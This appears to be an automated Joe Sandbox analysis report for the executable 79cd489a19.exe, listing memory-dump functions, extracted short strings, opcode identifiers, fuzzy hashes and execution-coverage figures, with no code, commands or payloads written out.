Source File: 00000007.00000002.2442636954.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16fd000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424d5d7563cb4f04b03ac6391ce881947f43c128ccb6586f25137bb562f21c66
Instruction ID: 00fb6b4dbd50bce35274c6bb1b30f19b9d0c461ff5663f20568876b3bdd2ac7e
Opcode Fuzzy Hash: 424d5d7563cb4f04b03ac6391ce881947f43c128ccb6586f25137bb562f21c66
Instruction Fuzzy Hash: F3210471604200DFDB15DF58D9C4B26BFA5FB84354F20C56DEA0A4B396C33AE447CA61

Function 016FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442636954.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16fd000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584aff82684bf35ae5efb8ae43bbb47a1998597f79d38a9680ee311c6d38c8d0
Instruction ID: e2c6d3105454e3553ecfeac7e6edcb38acbd00664228b60655797ae016eabe49
Opcode Fuzzy Hash: 584aff82684bf35ae5efb8ae43bbb47a1998597f79d38a9680ee311c6d38c8d0
Instruction Fuzzy Hash: 62212679504200EFDB05DF98DDC4B26BBA5FB84324F20C66DEB094B356C336E446CAA1

Function 016FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442636954.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16fd000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eca3a3e9f84fa3c2986bdf897ba638758dc585ad3863f925e112b75907941bb5
Instruction ID: ca98d4eda47c1f98702deff035aef6b3eb0e40917a6adc6abd64609ff75a140b
Opcode Fuzzy Hash: eca3a3e9f84fa3c2986bdf897ba638758dc585ad3863f925e112b75907941bb5
Instruction Fuzzy Hash: 5A219D755093808FDB03CF24D994B15BF71EB46214F28C5EED9498F6A7C33A980ACB62

Function 016ED4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442585454.00000000016ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 016ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16ed000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 463019b9a81d019b160ba0baad3d541179c2ce14438087715878ab580b2f5052
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 3211E176404280CFCB02CF54D9C4B16BFB1FB84318F24C6AAD8090B256C336D45ACBA1

Function 016FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442636954.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16fd000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 339e074759dcace51c25a9b6fa80eab9ef2b51422eef73a184c566a565e27fa9
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 5E11BB79504280DFDB02CF54C9C4B15BFA1FB84224F24C6AEDA494B396C33AE40ACBA1

Function 016ED745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442585454.00000000016ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 016ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16ed000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74573f3ae8e222e8d8e7be8efdd006d48292bbe18f2eedbed7cc8c7c4e709590
Instruction ID: 10144a9b578ae70404fcd065e0a914f72655f283c3a38b933447454beeef9f3b
Opcode Fuzzy Hash: 74573f3ae8e222e8d8e7be8efdd006d48292bbe18f2eedbed7cc8c7c4e709590
Instruction Fuzzy Hash: E201F73104A3809AEB108BA9CD88B77BFD8DF41324F18C62AED090A286C379D841C671

Function 016ED744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442585454.00000000016ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 016ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16ed000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485bcc569021893d1683eb5f7f089485c2198d4dc510ce95ec527717b7e5d3e6
Instruction ID: e5d4824bfdd4734f7ae4bef95c9957c38a5b1d3aa8e152d72d616fb782adcca4
Opcode Fuzzy Hash: 485bcc569021893d1683eb5f7f089485c2198d4dc510ce95ec527717b7e5d3e6
Instruction Fuzzy Hash: AFF062714493849AEB118F5ACCC8B62FFE8EF45634F18C55AED484A286C3799844CAB1

Non-executed Functions

Function 018B5193 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e320c198fab8d3a8ff64d1d7ba44b9013ed8421a94f2876a72c84281f81ae62d
Instruction ID: a241e770d0409251e81c4e5aae94d298fe254a8f4b805375a0ae65e89afa4352
Opcode Fuzzy Hash: e320c198fab8d3a8ff64d1d7ba44b9013ed8421a94f2876a72c84281f81ae62d
Instruction Fuzzy Hash: 8BE09234949248CBCB50CF94F4945F8BBBCEB8A329F0070A5D50EE3622DB305A958E40

Function 018B516B Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83123162784d90b8a37bfc082b1f54c6a4ef6ea7df9e9231c44e734cfd5cba5a
Instruction ID: aa2618da2d93d5f931037145c2eea858277275a5d627d012bb756520931fcb71
Opcode Fuzzy Hash: 83123162784d90b8a37bfc082b1f54c6a4ef6ea7df9e9231c44e734cfd5cba5a
Instruction Fuzzy Hash: 3BD09E36E8A209DAC6005AA4B8552F9B278EB8621AF047061990AE3215D72595359D54

Analysis Process: 79cd489a19.exePID: 8072, Parent PID: 7848COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 054C17D0 Relevance: 16.1, Strings: 12, Instructions: 1147COMMON

Download Yara Rule

Strings

$^q, xrefs: 054C1A73
$^q, xrefs: 054C20C1
$^q, xrefs: 054C1A63
4, xrefs: 054C21B5
$^q, xrefs: 054C210A
$^q, xrefs: 054C1CD7
$^q, xrefs: 054C20B1
,bq, xrefs: 054C229A
$^q, xrefs: 054C1C37
$^q, xrefs: 054C1CE7
$^q, xrefs: 054C211A
$^q, xrefs: 054C1C27

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: dc324005ea3b5b54d035f15d60eda06b1bef30229cb47bde23adf82bc84ba6ed
Instruction ID: fc6780324e42e724403dfd87f1d9cbf9f067bf400bdf87b8f5e09cc9e8ac6f5c
Opcode Fuzzy Hash: dc324005ea3b5b54d035f15d60eda06b1bef30229cb47bde23adf82bc84ba6ed
Instruction Fuzzy Hash: EEB21B38A002188FDB54DFA5C984BAEBBB6BF88700F1545DAE505AB3A5CBB0DD45CF50

Function 054C1B07 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 054C21B5
$^q, xrefs: 054C210A
$^q, xrefs: 054C1CD7
$^q, xrefs: 054C20B1
,bq, xrefs: 054C229A
$^q, xrefs: 054C1C27

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: 57cb4ef0a2b4dfd6884cb737e91f374f4dcd29cc4f73b19f46141d60e9c90032
Instruction ID: 0cdcce870d34de3df4157be67b172efa0dff642ba4a06e7d0d7b2eec7131bf45
Opcode Fuzzy Hash: 57cb4ef0a2b4dfd6884cb737e91f374f4dcd29cc4f73b19f46141d60e9c90032
Instruction Fuzzy Hash: B622FE38A04214CFDB64DF64C994BADBBB2BF88304F1481DAE509AB395DBB19D81CF50

Function 054C4C08 Relevance: 3.2, Strings: 2, Instructions: 701COMMON

Download Yara Rule

Strings

Pl^q, xrefs: 054C4DF0
$^q, xrefs: 054C4ED6

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: Pl^q$$^q
API String ID: 0-2677662154
Opcode ID: 93b57ce8207a3a36b0d0e14e84154ff0785ec133382de92ed902dc932e7482c0
Instruction ID: 6d19471680b11c73d442b88ea37c581a293a6f6751c0e3bd4a2b504e6b19d12e
Opcode Fuzzy Hash: 93b57ce8207a3a36b0d0e14e84154ff0785ec133382de92ed902dc932e7482c0
Instruction Fuzzy Hash: 41423C38B002048FDB58DF29C558AAE7BE2BF89701B1584EAD406CB3B5DB71EC42CB51

Function 053099F8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d3685653a8f0fd5e00615ff71d1f70b586929f43036c6aec8fd8cf7833595e
Instruction ID: 9cad2e4b1d35ce3580a9c4bb82b0949add49c1e78c63a98f35e51c495499da7d
Opcode Fuzzy Hash: b5d3685653a8f0fd5e00615ff71d1f70b586929f43036c6aec8fd8cf7833595e
Instruction Fuzzy Hash: A2910032A04305CFDB14DF19D564BEEB7F3FB89314F18A165D406ABA9ACBB49881CB40

Function 05304990 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a3a113e0100cd861e9e39a7c071b9e6f2efa5847c692078e533383acdc3229
Instruction ID: cd7400bb00e2437d7091fb8577533a115494e3c0744d189992c144be620eb803
Opcode Fuzzy Hash: d0a3a113e0100cd861e9e39a7c071b9e6f2efa5847c692078e533383acdc3229
Instruction Fuzzy Hash: 3851BF30900209CFCF48DFAAD461BADBBF1FF4A304F0195A9D116ABAA4DB745A45CF11

Function 053049A0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8622945bb50ef5e7693d4c5a6b86962b7828126782c4e1ae69dc9a1897edc735
Instruction ID: 1c8a30097bba2f7e334204192d8b1cd08a0bc1fea180bfa85f7e3ba6b28f1cb1
Opcode Fuzzy Hash: 8622945bb50ef5e7693d4c5a6b86962b7828126782c4e1ae69dc9a1897edc735
Instruction Fuzzy Hash: FB519D70900209CFCF44EFAAD460BADB7F2FF4A304F0195A9D116ABAA4DB745A45CF15

Function 056E38B9 Relevance: 11.0, Strings: 8, Instructions: 1010
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7K, xrefs: 056EE773
Qz, xrefs: 056EE763
xw, xrefs: 056EDB3E
c, xrefs: 056EE745, 056EE747
xw, xrefs: 056E387C
xw, xrefs: 056EDB70
xw, xrefs: 056EE88F
$, xrefs: 056EE6EF

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$7K$Qz$c$$
API String ID: 0-314346629
Opcode ID: 747b362d7a0cb3c9371d2a33de0a26fb09b2062b08cb2fd7808550f158fd97df
Instruction ID: ed2bbecf16963066fd7eaee9bb1f966ad906e5fbd4289f4d2be7c7466d6efd13
Opcode Fuzzy Hash: 747b362d7a0cb3c9371d2a33de0a26fb09b2062b08cb2fd7808550f158fd97df
Instruction Fuzzy Hash: 8F824D34A611288FCB68EF25EC9569DBBB1EF85304F9085A9D50EA7391CE317E81CF14

Function 05309288 Relevance: 8.9, Strings: 7, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xw, xrefs: 0530936E
xw, xrefs: 05309433
xw, xrefs: 053092F4
xw, xrefs: 05309348
xw, xrefs: 053093FE
xw, xrefs: 0530947F
xw, xrefs: 05309460

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$xw$xw$xw
API String ID: 0-2630547187
Opcode ID: d1fb2896f297a571567d681705876b370c85c81c58ccef12623ee96feed71671
Instruction ID: 470420ba7465e426bae89fa08251cc3b1e5b90e8ce118e65154ddc626c7bedf6
Opcode Fuzzy Hash: d1fb2896f297a571567d681705876b370c85c81c58ccef12623ee96feed71671
Instruction Fuzzy Hash: CF41CD32714205CBC714EA65F12A76A37ABFBC5305F11A129D812ABFCDDF389D428B85

Function 053092CB Relevance: 8.9, Strings: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xw, xrefs: 0530936E
xw, xrefs: 05309433
xw, xrefs: 053092F4
xw, xrefs: 05309348
xw, xrefs: 053093FE
xw, xrefs: 0530947F
xw, xrefs: 05309460

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$xw$xw$xw
API String ID: 0-2630547187
Opcode ID: 83add5af6eab2b1aa1634685cfd3319e1ccbe04adf3c78f7e60f3609d7298f58
Instruction ID: bc21eba276d64f1ee0e1ecdf550200c89086772b03d87fb2fbacd97c2e972ba6
Opcode Fuzzy Hash: 83add5af6eab2b1aa1634685cfd3319e1ccbe04adf3c78f7e60f3609d7298f58
Instruction Fuzzy Hash: 0141AD36318205CBD714EA65F12A72A33ABFBC5305F11A129D812ABFDECF389D418B45

Function 054C9208 Relevance: 7.9, Strings: 6, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 054C92DA
(bq, xrefs: 054C93D2
4'^q, xrefs: 054C92BC
pbq, xrefs: 054C935F
4'^q, xrefs: 054C928C
4'^q, xrefs: 054C9352

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq$4'^q$4'^q$4'^q$4'^q$pbq
API String ID: 0-723292480
Opcode ID: d10a87e11b2086a6c48183195fe25d4f4b2e434ab1729c28eeabd76a9d9dd6fc
Instruction ID: 7faaac162f893d583d2a3a7aa8c479f25762f2614a07368f7c26b15fc083b094
Opcode Fuzzy Hash: d10a87e11b2086a6c48183195fe25d4f4b2e434ab1729c28eeabd76a9d9dd6fc
Instruction Fuzzy Hash: ABD16E36A00114DFCB49DF64C944E9ABBB2FF88310B0644E9E509AB276D732ED56DF90

Function 054C7F40 Relevance: 4.2, Strings: 3, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 054C8444
Hbq, xrefs: 054C8415
Hbq, xrefs: 054C8494

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq
API String ID: 0-2297679979
Opcode ID: 45b5c81c6f7467ed883f2d0a88c336705503c37e27d1b65dc8f8dcde6e237145
Instruction ID: 47aa41460c83e5fb704191871ef12d3dd2aead47d92d9acfe5f11a7bc6a8835d
Opcode Fuzzy Hash: 45b5c81c6f7467ed883f2d0a88c336705503c37e27d1b65dc8f8dcde6e237145
Instruction Fuzzy Hash: F0125F35B002049FCB65DFA5D484AAEBBF2FF88300B1485AEE5469B395DB71EC46CB50

Function 054C9C00 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 054C9F79
4'^q, xrefs: 054C9EF9
4'^q, xrefs: 054C9E1A

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: bc8493f440f148864ab5b5fbf694f25c1386ee3bdc93b0790a3e85cdc79209d1
Instruction ID: 0d4561df8b22da26f86d3bf19442140169b39f7ac6b0df1db61c7133762adbc9
Opcode Fuzzy Hash: bc8493f440f148864ab5b5fbf694f25c1386ee3bdc93b0790a3e85cdc79209d1
Instruction Fuzzy Hash: AAF1CC38B10218DFCB58DF65D599A9DBBB2FF89301F118199E406AB3A5DB71EC42CB40

Function 05090B28 Relevance: 3.9, Strings: 2, Instructions: 1383COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05091CDE
4'^q, xrefs: 05091CEA

Memory Dump Source

Source File: 0000000A.00000002.2464120306.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5090000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: efe5b57b6e960ca01be4459853e128140f4fdf02b9db615216844e38764f1541
Instruction ID: ef3b0c271c0f2fb88ce575e30e78360f83a784a849535e846f69dcea9a46f72e
Opcode Fuzzy Hash: efe5b57b6e960ca01be4459853e128140f4fdf02b9db615216844e38764f1541
Instruction Fuzzy Hash: 2FA29031F242168F8FA95A68785823EA9F7BFC8650B54442ADD07D738CDE71CC81E792

Function 054C91E2 Relevance: 3.9, Strings: 3, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pbq, xrefs: 054C935F
4'^q, xrefs: 054C928C
%, xrefs: 054C91E8

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: %$4'^q$pbq
API String ID: 0-926961278
Opcode ID: ec480a212701d3adbf4f62af61d99590435f0a9e561bdfbf235b6dcf156fecce
Instruction ID: ca3ad7b5c1962cc012619d6e98219992f736461f644a739237e2dce0d8b4f29a
Opcode Fuzzy Hash: ec480a212701d3adbf4f62af61d99590435f0a9e561bdfbf235b6dcf156fecce
Instruction Fuzzy Hash: BE41E371A003459FC745DB78C9807AFBFF2AFC9300F14896EC4459B3A9DB71A94A8761

Function 054C38F9 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 054C3C23
$^q, xrefs: 054C3C13

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: f23724cf67574ba5a65308a8fc76a3f9f669b81b4f4e9c6d0bdb090760d34a7e
Instruction ID: ee6074398dd6a204c76e4e47365478d8ed9e20143de3db1d5afd3b7ca55874ba
Opcode Fuzzy Hash: f23724cf67574ba5a65308a8fc76a3f9f669b81b4f4e9c6d0bdb090760d34a7e
Instruction Fuzzy Hash: 7E12A134E002198FCB55DFA5D944AFEBBB2BF88304F10899AE811AB395DB359D46CF50

Function 054C79F8 Relevance: 2.8, Strings: 2, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 054C7A0C
d, xrefs: 054C7C59

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq$d
API String ID: 0-3334038649
Opcode ID: 530117c553c31be8e68945f1e9e41f12420fd4b21ddb7345a40a1e6be26a4e9f
Instruction ID: ea08fbbe376441af93376e75c34cad3a89fa96d7f619d1ab173e1eea9097c089
Opcode Fuzzy Hash: 530117c553c31be8e68945f1e9e41f12420fd4b21ddb7345a40a1e6be26a4e9f
Instruction Fuzzy Hash: 41D15E396006028FCB54DF29C5849AABBF2FFC8310B1585AEE45A9B365DB31F845CF90

Function 054C8780 Relevance: 2.8, Strings: 2, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 054C8A2C
Hbq, xrefs: 054C8A94

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 052baeceba87b5fb5dd157c628e0a525f4ff725a14710fc8b7e33b5cd2985dfb
Instruction ID: 19797c2bc35aef92bef80d7e1042a6c870ba3d8743ea1eb2c11d2f41aa8befd1
Opcode Fuzzy Hash: 052baeceba87b5fb5dd157c628e0a525f4ff725a14710fc8b7e33b5cd2985dfb
Instruction Fuzzy Hash: AEC1C2347001059FCB54EF28C484AAEBBF2FF88314F1585A9E8099B7A5DB34ED46CB95

Function 054CFA20 Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 054CFCD2
4'^q, xrefs: 054CFD00

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 829aea6328a073069be98e642a67ef267fc3b83538d3b5ecfbe1640f696db244
Instruction ID: 723303a7bf931b843cb9ee3464210bde78c41ba1c30a4add28e6773a2ea85b0a
Opcode Fuzzy Hash: 829aea6328a073069be98e642a67ef267fc3b83538d3b5ecfbe1640f696db244
Instruction Fuzzy Hash: 62C1BD74B00218DFCB48DFA5D994A9DBBB2FF89300F5041A9E506AB3A5DB71ED42CB50

Function 054CFA10 Relevance: 2.8, Strings: 2, Instructions: 272
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 054CFCD2
4'^q, xrefs: 054CFD00

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 0af28580b512cbcf69606b8c4ac2420182c91af131ce67f4b409875e00d0961b
Instruction ID: 119f4cb47d4c37158155fa707c1677e53634f41086d91f68f28afb6323464c5f
Opcode Fuzzy Hash: 0af28580b512cbcf69606b8c4ac2420182c91af131ce67f4b409875e00d0961b
Instruction Fuzzy Hash: 2DB1DE74B00218DFC748DFA5D998A9DBBB2FF89300F5041A9E506AB3A5DB71ED42CB50

Function 054C2E68 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

(bq, xrefs: 054C2F6E
Hbq, xrefs: 054C2FFD

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: c8bd0e0acfbd7a3ae8d6e4b486ce9f51351005185f1474a053b4967d20615754
Instruction ID: 7a022eb3af11fe1e2a31c1bfb198e32beb7e9f7660372e724c985bc7fd6855bc
Opcode Fuzzy Hash: c8bd0e0acfbd7a3ae8d6e4b486ce9f51351005185f1474a053b4967d20615754
Instruction Fuzzy Hash: 7551AA397002048FCB69EF38D45466E7BB2BFC9310B6144ADE8469B3A5CE71EC42CB91

Function 0530F790 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0530F8E4
(bq, xrefs: 0530F8B8

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 849cac9f267e57a148c6a1eb77e0d307f1424689cc2d3bc3c2c097c3c639cd4f
Instruction ID: 15fdc71fa7ac32a4a9c2b45e668a06fdd04c4bd6bf63aa39d3297d66300388bf
Opcode Fuzzy Hash: 849cac9f267e57a148c6a1eb77e0d307f1424689cc2d3bc3c2c097c3c639cd4f
Instruction Fuzzy Hash: B341CD306047408FD726EF3AC49435ABBF2AF85310F50862AD09ACB7E5DB74D889CB51

Function 054CB8E8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

(bq, xrefs: 054CB937
Hbq, xrefs: 054CB963

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 72984af9bfe8adc5ccf0b66caf01a1dbfd29b652afaa0283826dd34998b73e6d
Instruction ID: e0ef9a8c395fec183794f2886af219263882d2bed74f2fc86786842383e7168c
Opcode Fuzzy Hash: 72984af9bfe8adc5ccf0b66caf01a1dbfd29b652afaa0283826dd34998b73e6d
Instruction Fuzzy Hash: B721F1313041444FC745EB79D94066E7BE6FFC9300B5445AAE405DB3A5DE34DD468791

Function 056E657E Relevance: 2.5, Strings: 2, Instructions: 28COMMON

Download Yara Rule

Strings

xw, xrefs: 056E658A
xw, xrefs: 056E65D0

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw
API String ID: 0-1196205626
Opcode ID: 3108ee8bd75bcaa576665ef9aa54060a779b740647acd5f6013086a028e52314
